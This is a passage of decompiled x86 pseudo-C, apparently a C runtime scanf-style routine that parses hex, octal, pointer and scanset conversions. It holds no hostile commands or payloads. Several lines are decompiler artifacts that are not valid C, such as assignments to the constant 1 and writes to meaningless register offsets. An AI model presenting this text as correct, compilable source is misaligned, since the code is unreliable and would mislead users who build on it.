																											L229:
																											__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E00425180( *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												__cl =  *(__ebp - 0x1e);
																												__cl =  *(__ebp - 0x1e) + 1;
																												__eflags = __cl;
																												 *(__ebp - 0x1e) = __cl;
																											} else {
																												 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																												 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																												__eax =  *(__ebp - 0x21c) & 0x000000ff;
																												 *(__ebp - 0x21c) = E0041CF30(__ecx,  *(__ebp - 0x21c) & 0x000000ff);
																											}
																											L242:
																											__eax =  *(__ebp - 0x1e);
																											__eflags =  *(__ebp - 0x1e);
																											if( *(__ebp - 0x1e) != 0) {
																												L248:
																												__eax =  *(__ebp - 0xc);
																												__eax =  *(__ebp - 0xc) - 1;
																												__eflags = __eax;
																												 *(__ebp - 0xc) = __eax;
																												__ecx =  *(__ebp + 8);
																												__edx =  *(__ebp - 0x21c);
																												__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																												L249:
																												continue;
																											}
																											L243:
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																											__edx =  *(__ebp - 0x21c);
																											__eax =  *(__ebp - 0x220);
																											__ecx =  *(__ebp - 0x220) +  *(__ebp - 0x21c) - 0x30;
																											 *(__ebp - 0x220) = __ecx;
																											__eflags =  *(__ebp - 0x1f0);
																											if( *(__ebp - 0x1f0) == 0) {
																												L246:
																												__ecx =  *(__ebp - 0xc);
																												__ecx =  *(__ebp - 0xc) + 1;
																												__eflags = __ecx;
																												 *(__ebp - 0xc) = __ecx;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																												L247:
																												goto L249;
																											}
																											L244:
																											__edx =  *(__ebp - 0x78);
																											__edx =  *(__ebp - 0x78) - 1;
																											__eflags = __edx;
																											 *(__ebp - 0x78) = __edx;
																											if(__edx != 0) {
																												goto L246;
																											}
																											L245:
																											__al =  *(__ebp - 0x1e);
																											__al =  *(__ebp - 0x1e) + 1;
																											 *(__ebp - 0x1e) = __al;
																											goto L247;
																										}
																										L228:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																										if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																											L233:
																											__edx =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												__dl =  *(__ebp - 0x1e);
																												__dl =  *(__ebp - 0x1e) + 1;
																												__eflags = __dl;
																												 *(__ebp - 0x1e) = __dl;
																											} else {
																												__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																												if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																													__edx =  *(__ebp - 0x220);
																													__eax =  *(__ebp - 0x220);
																													__ecx = __eax + __edx * 4;
																													__ecx = __eax + __edx * 4 << 1;
																													__eflags = __ecx;
																													 *(__ebp - 0x220) = __ecx;
																												} else {
																													__eflags =  *(__ebp - 0x21c) - 0x38;
																													if( *(__ebp - 0x21c) >= 0x38) {
																														__cl =  *(__ebp - 0x1e);
																														__cl =  *(__ebp - 0x1e) + 1;
																														__eflags = __cl;
																														 *(__ebp - 0x1e) = __cl;
																													} else {
																														 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																														 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																													}
																												}
																											}
																											goto L242;
																										}
																										goto L229;
																									}
																									L250:
																									__eax =  *(__ebp - 2);
																									__eflags =  *(__ebp - 2);
																									if( *(__ebp - 2) != 0) {
																										__ecx =  *(__ebp - 0x220);
																										__ecx =  ~( *(__ebp - 0x220));
																										 *(__ebp - 0x220) = __ecx;
																									}
																									L252:
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x46;
																									if( *((intOrPtr*)(__ebp - 0x44)) == 0x46) {
																										 *(__ebp - 0x1f4) = 0;
																									}
																									__eflags =  *(__ebp - 0x1f4);
																									if( *(__ebp - 0x1f4) == 0) {
																										L263:
																										goto L335;
																									} else {
																										L255:
																										__edx =  *((char*)(__ebp - 0x12));
																										__eflags =  *((char*)(__ebp - 0x12));
																										if( *((char*)(__ebp - 0x12)) != 0) {
																											L262:
																											while(1) {
																												L318:
																												 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
																												 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
																												goto L330;
																											}
																										}
																										L256:
																										__eax =  *(__ebp - 8);
																										__eax =  *(__ebp - 8) + 1;
																										__eflags = __eax;
																										 *(__ebp - 8) = __eax;
																										L257:
																										__eflags =  *(__ebp - 0x30);
																										if( *(__ebp - 0x30) == 0) {
																											__ecx =  *(__ebp - 0x1d);
																											__eflags = __ecx;
																											if(__ecx == 0) {
																												__ecx =  *(__ebp - 0x7c);
																												 *__ecx =  *(__ebp - 0x220);
																											} else {
																												__edx =  *(__ebp - 0x7c);
																												__eax =  *(__ebp - 0x220);
																												 *( *(__ebp - 0x7c)) =  *(__ebp - 0x220);
																											}
																										} else {
																											__ecx =  *(__ebp - 0x7c);
																											__edx =  *(__ebp - 0x200);
																											 *__ecx =  *(__ebp - 0x200);
																											__eax =  *(__ebp - 0x1fc);
																											 *(__ecx + 4) =  *(__ebp - 0x1fc);
																										}
																										goto L262;
																									}
																								} else {
																									goto L199;
																								}
																								while(1) {
																									L199:
																									__edx =  *(__ebp - 0x1e);
																									__eflags = __edx;
																									if(__edx != 0) {
																										break;
																									}
																									L200:
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																									if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																										L202:
																										__eax =  *(__ebp - 0x21c) & 0x000000ff;
																										__eax = E00425180( *(__ebp - 0x21c) & 0x000000ff);
																										__eflags = __eax;
																										if(__eax == 0) {
																											__dl =  *(__ebp - 0x1e);
																											__dl =  *(__ebp - 0x1e) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x1e) = __dl;
																										} else {
																											__eax =  *(__ebp - 0x200);
																											__edx =  *(__ebp - 0x1fc);
																											__cl = 4;
																											 *(__ebp - 0x200) = E00425520( *(__ebp - 0x200), __ecx, __edx);
																											 *(__ebp - 0x1fc) = __edx;
																											__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																											 *(__ebp - 0x21c) = E0041CF30( *(__ebp - 0x21c) & 0x000000ff,  *(__ebp - 0x21c) & 0x000000ff);
																										}
																										L215:
																										__eax =  *(__ebp - 0x1e);
																										__eflags =  *(__ebp - 0x1e);
																										if( *(__ebp - 0x1e) != 0) {
																											L221:
																											__eax =  *(__ebp - 0xc);
																											__eax =  *(__ebp - 0xc) - 1;
																											__eflags = __eax;
																											 *(__ebp - 0xc) = __eax;
																											__ecx =  *(__ebp + 8);
																											__edx =  *(__ebp - 0x21c);
																											__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																											L222:
																											continue;
																										}
																										L216:
																										__ecx =  *(__ebp - 0x1f4);
																										__ecx =  *(__ebp - 0x1f4) + 1;
																										 *(__ebp - 0x1f4) = __ecx;
																										 *(__ebp - 0x21c) =  *(__ebp - 0x21c) - 0x30;
																										asm("cdq");
																										__eax =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																										asm("adc edx, [ebp-0x1fc]");
																										 *(__ebp - 0x200) =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																										 *(__ebp - 0x1fc) = __edx;
																										__eflags =  *(__ebp - 0x1f0);
																										if( *(__ebp - 0x1f0) == 0) {
																											L219:
																											__ecx =  *(__ebp - 0xc);
																											__ecx =  *(__ebp - 0xc) + 1;
																											__eflags = __ecx;
																											 *(__ebp - 0xc) = __ecx;
																											__edx =  *(__ebp + 8);
																											 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																											L220:
																											goto L222;
																										}
																										L217:
																										__edx =  *(__ebp - 0x78);
																										__edx =  *(__ebp - 0x78) - 1;
																										__eflags = __edx;
																										 *(__ebp - 0x78) = __edx;
																										if(__edx != 0) {
																											goto L219;
																										}
																										L218:
																										__al =  *(__ebp - 0x1e);
																										__al =  *(__ebp - 0x1e) + 1;
																										 *(__ebp - 0x1e) = __al;
																										goto L220;
																									}
																									L201:
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																									if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																										L206:
																										__eax =  *(__ebp - 0x21c) & 0x000000ff;
																										__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																										__eflags = __eax;
																										if(__eax == 0) {
																											__dl =  *(__ebp - 0x1e);
																											__dl =  *(__ebp - 0x1e) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x1e) = __dl;
																										} else {
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																											if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																												__eax =  *(__ebp - 0x200);
																												__edx =  *(__ebp - 0x1fc);
																												__cl = 2;
																												__eax = E00425520( *(__ebp - 0x200), __ecx, __edx);
																												__eax = __eax +  *(__ebp - 0x200);
																												__eflags = __eax;
																												asm("adc edx, [ebp-0x1fc]");
																												__cl = 1;
																												 *(__ebp - 0x200) = __eax;
																												 *(__ebp - 0x1fc) = __edx;
																											} else {
																												__eflags =  *(__ebp - 0x21c) - 0x38;
																												if( *(__ebp - 0x21c) >= 0x38) {
																													__cl =  *(__ebp - 0x1e);
																													__cl =  *(__ebp - 0x1e) + 1;
																													__eflags = __cl;
																													 *(__ebp - 0x1e) = __cl;
																												} else {
																													__eax =  *(__ebp - 0x200);
																													__edx =  *(__ebp - 0x1fc);
																													__cl = 3;
																													 *(__ebp - 0x200) = E00425520( *(__ebp - 0x200), __ecx, __edx);
																													 *(__ebp - 0x1fc) = __edx;
																												}
																											}
																										}
																										goto L215;
																									}
																									goto L202;
																								}
																								L223:
																								__eax =  *(__ebp - 2);
																								__eflags =  *(__ebp - 2);
																								if( *(__ebp - 2) != 0) {
																									__ecx =  *(__ebp - 0x200);
																									__ecx =  ~( *(__ebp - 0x200));
																									__edx =  *(__ebp - 0x1fc);
																									asm("adc edx, 0x0");
																									__edx =  ~( *(__ebp - 0x1fc));
																									 *(__ebp - 0x200) = __ecx;
																									 *(__ebp - 0x1fc) =  ~( *(__ebp - 0x1fc));
																								}
																								goto L252;
																							}
																							L177:
																							 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																							 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																							__edx =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																							__eax =  *(__ebp - 0x21c);
																							__eflags =  *(__ebp - 0x21c) - 0x78;
																							if( *(__ebp - 0x21c) == 0x78) {
																								L179:
																								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																								__eax =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																								__eflags =  *(__ebp - 0x1f0);
																								if( *(__ebp - 0x1f0) != 0) {
																									__ecx =  *(__ebp - 0x78);
																									__ecx =  *(__ebp - 0x78) - 2;
																									 *(__ebp - 0x78) = __ecx;
																									__eflags =  *(__ebp - 0x78) - 1;
																									if( *(__ebp - 0x78) < 1) {
																										__dl =  *(__ebp - 0x1e);
																										__dl =  *(__ebp - 0x1e) + 1;
																										__eflags = __dl;
																										 *(__ebp - 0x1e) = __dl;
																									}
																								}
																								 *((intOrPtr*)(__ebp - 0x44)) = 0x78;
																								goto L189;
																							}
																							L178:
																							__ecx =  *(__ebp - 0x21c);
																							__eflags = __ecx - 0x58;
																							if(__ecx != 0x58) {
																								L183:
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																								__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																								if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																									__eax =  *(__ebp - 0xc);
																									__eax =  *(__ebp - 0xc) - 1;
																									__eflags = __eax;
																									 *(__ebp - 0xc) = __eax;
																									__ecx =  *(__ebp + 8);
																									__edx =  *(__ebp - 0x21c);
																									__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																									 *(__ebp - 0x21c) = 0x30;
																								} else {
																									__eflags =  *(__ebp - 0x1f0);
																									if( *(__ebp - 0x1f0) != 0) {
																										__ecx =  *(__ebp - 0x78);
																										__ecx =  *(__ebp - 0x78) - 1;
																										__eflags = __ecx;
																										 *(__ebp - 0x78) = __ecx;
																										if(__ecx == 0) {
																											__dl =  *(__ebp - 0x1e);
																											__dl =  *(__ebp - 0x1e) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x1e) = __dl;
																										}
																									}
																									 *((intOrPtr*)(__ebp - 0x44)) = 0x6f;
																								}
																								goto L189;
																							}
																							goto L179;
																						}
																						L172:
																						__eax =  *(__ebp - 0x78);
																						__eax =  *(__ebp - 0x78) - 1;
																						__eflags = __eax;
																						 *(__ebp - 0x78) = __eax;
																						if(__eax != 0) {
																							L175:
																							__edx =  *(__ebp - 0xc);
																							__edx =  *(__ebp - 0xc) + 1;
																							__eflags = __edx;
																							 *(__ebp - 0xc) = __edx;
																							__eax =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																							goto L176;
																						}
																						L173:
																						__eflags =  *(__ebp - 0x1f0);
																						if( *(__ebp - 0x1f0) == 0) {
																							goto L175;
																						}
																						L174:
																						__cl =  *(__ebp - 0x1e);
																						__cl =  *(__ebp - 0x1e) + 1;
																						 *(__ebp - 0x1e) = __cl;
																						goto L176;
																					}
																					L170:
																					 *(__ebp - 2) =  *(__ebp - 2) + 1;
																					 *(__ebp - 2) =  *(__ebp - 2) + 1;
																					goto L172;
																				case 8:
																					L77:
																					__ecx =  *(__ebp - 0x215);
																					__eflags =  *(__ebp - 0x215);
																					if( *(__ebp - 0x215) > 0) {
																						__dl =  *(__ebp - 0x29);
																						__dl =  *(__ebp - 0x29) + 1;
																						__eflags = __dl;
																						 *(__ebp - 0x29) = __dl;
																					}
																					L79:
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																					 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																					__ecx =  *(__ebp + 0xc);
																					 *(__ebp - 0x38) =  *(__ebp + 0xc);
																					__edx =  *(__ebp - 0x38);
																					__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																					__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5e;
																					if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5e) {
																						 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																						 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																						__dl =  *(__ebp - 3);
																						__dl =  *(__ebp - 3) - 1;
																						__eflags = __dl;
																						 *(__ebp - 3) = __dl;
																					}
																					 *(__ebp - 0x4c) = E00422580( *(__ebp - 0x4c), 0, 0x20);
																					__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																					if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																						__ecx =  *(__ebp - 0x38);
																						__edx =  *( *(__ebp - 0x38)) & 0x000000ff;
																						__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																						if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																							 *(__ebp - 0x7d) = 0x5d;
																							__eax =  *(__ebp - 0x38);
																							__eax =  *(__ebp - 0x38) + 1;
																							__eflags = __eax;
																							 *(__ebp - 0x38) = __eax;
																							__ecx =  *(__ebp - 0x4c);
																							 *((char*)( *(__ebp - 0x4c) + 0xb)) = 0x20;
																						}
																					}
																					while(1) {
																						L84:
																						__edx =  *(__ebp - 0x38);
																						__eax =  *( *(__ebp - 0x38)) & 0x000000ff;
																						__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																						if(( *( *(__ebp - 0x38)) & 0x000000ff) == 0x5d) {
																							break;
																						}
																						L85:
																						__ecx =  *(__ebp - 0x38);
																						__dl =  *( *(__ebp - 0x38));
																						 *(__ebp - 0x7e) =  *( *(__ebp - 0x38));
																						 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																						 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																						__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																						__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - 0x2d;
																						if(( *(__ebp - 0x7e) & 0x000000ff) != 0x2d) {
																							L88:
																							__dl =  *(__ebp - 0x7e);
																							 *(__ebp - 0x7d) =  *(__ebp - 0x7e);
																							 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																							 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																							1 = 1 << __cl;
																							__ecx =  *(__ebp - 0x4c);
																							 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																							 *(__ebp - 0x7d) & 0x000000ff = ( *(__ebp - 0x7d) & 0x000000ff) >> 3;
																							__edx =  *(__ebp - 0x4c);
																							 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7d) & 0x000000ff) >> 3)) = __al;
																							L97:
																							_t268 = __ebx - 0x49f037bb;
																							 *_t268 =  *(__ebx - 0x49f037bb) - 1;
																							__eflags =  *_t268;
																							continue;
																						}
																						L86:
																						__edx =  *(__ebp - 0x7d) & 0x000000ff;
																						__eflags =  *(__ebp - 0x7d) & 0x000000ff;
																						if(( *(__ebp - 0x7d) & 0x000000ff) == 0) {
																							goto L88;
																						}
																						L87:
																						__eax =  *(__ebp - 0x38);
																						__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																						__eflags = ( *( *(__ebp - 0x38)) & 0x000000ff) - 0x5d;
																						if(( *( *(__ebp - 0x38)) & 0x000000ff) != 0x5d) {
																							L89:
																							__eax =  *(__ebp - 0x38);
																							__cl =  *( *(__ebp - 0x38));
																							 *(__ebp - 0x7e) = __cl;
																							 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																							 *(__ebp - 0x38) =  *(__ebp - 0x38) + 1;
																							__eax =  *(__ebp - 0x7d) & 0x000000ff;
																							__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																							__eflags = ( *(__ebp - 0x7d) & 0x000000ff) - ( *(__ebp - 0x7e) & 0x000000ff);
																							if(( *(__ebp - 0x7d) & 0x000000ff) >= ( *(__ebp - 0x7e) & 0x000000ff)) {
																								__al =  *(__ebp - 0x7d);
																								 *(__ebp - 0x11) = __al;
																								__cl =  *(__ebp - 0x7e);
																								 *(__ebp - 0x7d) = __cl;
																							} else {
																								__dl =  *(__ebp - 0x7e);
																								 *(__ebp - 0x11) =  *(__ebp - 0x7e);
																							}
																							__dl =  *(__ebp - 0x7d);
																							 *(__ebp - 0x7e) =  *(__ebp - 0x7d);
																							while(1) {
																								L94:
																								__ecx =  *(__ebp - 0x7e) & 0x000000ff;
																								__edx =  *(__ebp - 0x11) & 0x000000ff;
																								__eflags = ( *(__ebp - 0x7e) & 0x000000ff) - ( *(__ebp - 0x11) & 0x000000ff);
																								if(( *(__ebp - 0x7e) & 0x000000ff) >= ( *(__ebp - 0x11) & 0x000000ff)) {
																									break;
																								}
																								L95:
																								 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																								 *(__ebp - 0x7e) & 0x000000ff =  *(__ebp - 0x7e) & 7;
																								1 = 1 << __cl;
																								__ecx =  *(__ebp - 0x4c);
																								 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																								 *(__ebp - 0x7e) & 0x000000ff = ( *(__ebp - 0x7e) & 0x000000ff) >> 3;
																								__edx =  *(__ebp - 0x4c);
																								 *( *(__ebp - 0x4c) + (( *(__ebp - 0x7e) & 0x000000ff) >> 3)) = __al;
																								__al =  *(__ebp - 0x7e);
																								__al =  *(__ebp - 0x7e) + 1;
																								__eflags = __al;
																								 *(__ebp - 0x7e) = __al;
																							}
																							L96:
																							 *(__ebp - 0x11) & 0x000000ff = ( *(__ebp - 0x11) & 0x000000ff) >> 3;
																							 *(__ebp - 0x11) & 0x000000ff =  *(__ebp - 0x11) & 7;
																							1 = 1 << __cl;
																							__ecx =  *(__ebp - 0x4c);
																							 *( *(__ebp - 0x4c) + (( *(__ebp - 0x11) & 0x000000ff) >> 3)) =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x11) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																							__eflags =  *( *(__ebp - 0x4c) + (( *(__ebp - 0x11) & 0x000000ff) >> 3)) | 0x00000001 << __cl;
																							 *(__ebp - 0x11) & 0x000000ff = ( *(__ebp - 0x11) & 0x000000ff) >> 3;
																							__edx =  *(__ebp - 0x4c);
																							 *( *(__ebp - 0x4c) + (( *(__ebp - 0x11) & 0x000000ff) >> 3)) = __al;
																							 *(__ebp - 0x7d) = 0;
																							goto L97;
																						}
																						goto L88;
																					}
																					L99:
																					__eax =  *(__ebp - 0x38);
																					__ecx =  *( *(__ebp - 0x38)) & 0x000000ff;
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						L101:
																						__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x7b;
																						if( *((intOrPtr*)(__ebp - 0x44)) == 0x7b) {
																							__edx =  *(__ebp - 0x38);
																							 *(__ebp + 0xc) =  *(__ebp - 0x38);
																						}
																						while(1) {
																							L103:
																							 *(_t1139 - 0x48) =  *(_t1139 - 0x7c);
																							_t967 =  *(_t1139 - 0xc) - 1;
																							 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																							E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
																							_t1142 = _t1141 + 8;
																							__eflags =  *(_t1139 - 0x44) - 0x63;
																							if( *(_t1139 - 0x44) != 0x63) {
																								_t967 =  *(_t1139 - 0x18) - 1;
																								__eflags = _t967;
																								 *(_t1139 - 0x18) = _t967;
																							}
																							L105:
																							__eflags =  *(_t1139 - 0x1f0);
																							if( *(_t1139 - 0x1f0) == 0) {
																								goto L107;
																							}
																							goto L106;
																						}
																					}
																					L100:
																					goto L335;
																				case 9:
																					goto L313;
																			}
																		}
																		L60:
																		__eflags =  *(_t1139 - 0x44) - 0x63;
																		if( *(_t1139 - 0x44) == 0x63) {
																			L63:
																			 *((intOrPtr*)(_t1139 + 0x14)) =  *((intOrPtr*)(_t1139 - 0x1c));
																			 *((intOrPtr*)(_t1139 + 0x14)) =  *((intOrPtr*)(_t1139 + 0x14)) + 4;
																			 *(_t1139 - 0x7c) =  *( *((intOrPtr*)(_t1139 + 0x14)) - 4);
																			 *((intOrPtr*)(_t1139 - 0x1c)) =  *((intOrPtr*)(_t1139 + 0x14));
																			 *((intOrPtr*)(_t1139 + 0x14)) =  *((intOrPtr*)(_t1139 + 0x14)) + 4;
																			 *(_t1139 - 0x18) =  *( *((intOrPtr*)(_t1139 + 0x14)) - 4);
																			_t1013 =  *(_t1139 - 0x18);
																			 *(_t1139 - 0x34) =  *(_t1139 - 0x18);
																			__eflags =  *(_t1139 - 0x18) - 1;
																			if( *(_t1139 - 0x18) >= 1) {
																				goto L68;
																			} else {
																				_t1063 =  *(_t1139 - 0x215);
																				__eflags =  *(_t1139 - 0x215);
																				if( *(_t1139 - 0x215) <= 0) {
																					_t1063 =  *(_t1139 - 0x7c);
																					 *( *(_t1139 - 0x7c)) = 0;
																				} else {
																					_t1013 =  *(_t1139 - 0x7c);
																					 *( *(_t1139 - 0x7c)) = 0;
																				}
																				 *((intOrPtr*)(L0041A7C0(_t1013))) = 0xc;
																				goto L335;
																			}
																		}
																		L61:
																		__eflags =  *(_t1139 - 0x44) - 0x73;
																		if( *(_t1139 - 0x44) == 0x73) {
																			goto L63;
																		}
																		L62:
																		__eflags =  *(_t1139 - 0x44) - 0x7b;
																		if( *(_t1139 - 0x44) != 0x7b) {
																			goto L68;
																		}
																		goto L63;
																	}
																	L58:
																	__eflags =  *(_t1139 - 0x78);
																	if( *(_t1139 - 0x78) == 0) {
																		L319:
																		 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
																		_t1063 =  *(_t1139 - 0x21c);
																		E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
																		_t1142 = _t1142 + 8;
																		goto L335;
																	}
																	goto L59;
																}
																L55:
																__eflags =  *(_t1139 - 0x21c) - 0xffffffff;
																if( *(_t1139 - 0x21c) != 0xffffffff) {
																	goto L57;
																} else {
																	goto L335;
																}
															}
															L50:
															__eflags =  *(_t1139 - 0x44) - 0x63;
															if( *(_t1139 - 0x44) == 0x63) {
																L53:
																_t1063 =  *(_t1139 - 0xc) + 1;
																__eflags = _t1063;
																 *(_t1139 - 0xc) = _t1063;
																_t890 = E0041CF70( *(_t1139 + 8));
																_t1142 = _t1142 + 4;
																 *(_t1139 - 0x21c) = _t890;
																goto L54;
															}
															L51:
															__eflags =  *(_t1139 - 0x44) - 0x7b;
															if( *(_t1139 - 0x44) == 0x7b) {
																goto L53;
															} else {
																_t892 = E0041CFF0(_t1139 - 0xc, _t1139 - 0xc,  *(_t1139 + 8));
																_t1142 = _t1142 + 8;
																 *(_t1139 - 0x21c) = _t892;
																goto L54;
															}
														} else {
															L45:
															__eflags = ( *( *(_t1139 + 0xc)) & 0x000000ff) - 0x53;
															if(( *( *(_t1139 + 0xc)) & 0x000000ff) == 0x53) {
																L47:
																 *(_t1139 - 0x215) =  *(_t1139 - 0x215) + 1;
																goto L49;
															}
															L46:
															__eflags = ( *( *(_t1139 + 0xc)) & 0x000000ff) - 0x43;
															if(( *( *(_t1139 + 0xc)) & 0x000000ff) != 0x43) {
																_t895 =  *(_t1139 - 0x215) - 1;
																__eflags = _t895;
																 *(_t1139 - 0x215) = _t895;
																goto L49;
															}
															goto L47;
														}
													}
												} else {
													 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
													E0041CFD0(E0041CFF0( *(_t1139 + 8), _t1139 - 0xc,  *(_t1139 + 8)),  *(_t1139 + 8));
													_t1148 = _t1142 + 0x10;
													do {
														L4:
														 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
														 *(_t1139 - 0x71) =  *( *(_t1139 + 0xc));
														_t913 = E00425240( *(_t1139 - 0x71) & 0x000000ff);
														_t1148 = _t1148 + 4;
													} while (_t913 != 0);
													continue;
												}
											}
											goto L335;
										}
									}
								}
								L129:
								 *((intOrPtr*)(L0041A7C0(_t967))) = 0xc;
								__eflags =  *(_t1139 - 0x29);
								if( *(_t1139 - 0x29) == 0) {
									_t1063 =  *(_t1139 - 0x48);
									 *( *(_t1139 - 0x48)) = 0;
									__eflags =  *(_t1139 - 0x34) - 0xffffffff;
									if( *(_t1139 - 0x34) != 0xffffffff) {
										__eflags =  *(_t1139 - 0x34) - 0x7fffffff;
										if( *(_t1139 - 0x34) != 0x7fffffff) {
											__eflags =  *(_t1139 - 0x34) - 1;
											if( *(_t1139 - 0x34) > 1) {
												__eflags =  *0x43e408 -  *(_t1139 - 0x34) - 1; // 0xffffffff
												if(__eflags >= 0) {
													_t1063 =  *(_t1139 - 0x34) - 1;
													__eflags = _t1063;
													 *(_t1139 - 0x268) = _t1063;
												} else {
													_t1044 =  *0x43e408; // 0xffffffff
													 *(_t1139 - 0x268) = _t1044;
												}
												__eflags =  *(_t1139 - 0x48) + 1;
												E00422580( *(_t1139 - 0x48) + 1, 0xfe,  *(_t1139 - 0x268));
												_t1142 = _t1142 + 0xc;
											}
										}
									}
								} else {
									_t1063 =  *(_t1139 - 0x48);
									 *( *(_t1139 - 0x48)) = 0;
									__eflags =  *(_t1139 - 0x34) - 0xffffffff;
									if( *(_t1139 - 0x34) != 0xffffffff) {
										__eflags =  *(_t1139 - 0x34) - 0x7fffffff;
										if( *(_t1139 - 0x34) != 0x7fffffff) {
											__eflags =  *(_t1139 - 0x34) - 1;
											if( *(_t1139 - 0x34) > 1) {
												__eflags =  *0x43e408 -  *(_t1139 - 0x34) - 1; // 0xffffffff
												if(__eflags >= 0) {
													_t1063 =  *(_t1139 - 0x34) - 1;
													__eflags = _t1063;
													 *(_t1139 - 0x264) = _t1063;
												} else {
													_t1048 =  *0x43e408; // 0xffffffff
													 *(_t1139 - 0x264) = _t1048;
												}
												__eflags =  *(_t1139 - 0x48) + 2;
												E00422580( *(_t1139 - 0x48) + 2, 0xfe,  *(_t1139 - 0x264) << 1);
												_t1142 = _t1142 + 0xc;
											}
										}
									}
								}
								goto L335;
							}
							L107:
							 *(_t1139 - 0xc) =  *(_t1139 - 0xc) + 1;
							_t830 = E0041CF70( *(_t1139 + 8));
							_t1142 = _t1142 + 4;
							 *(_t1139 - 0x21c) = _t830;
							__eflags =  *(_t1139 - 0x21c) - 0xffffffff;
							if( *(_t1139 - 0x21c) == 0xffffffff) {
								L126:
								 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
								_t967 =  *(_t1139 + 8);
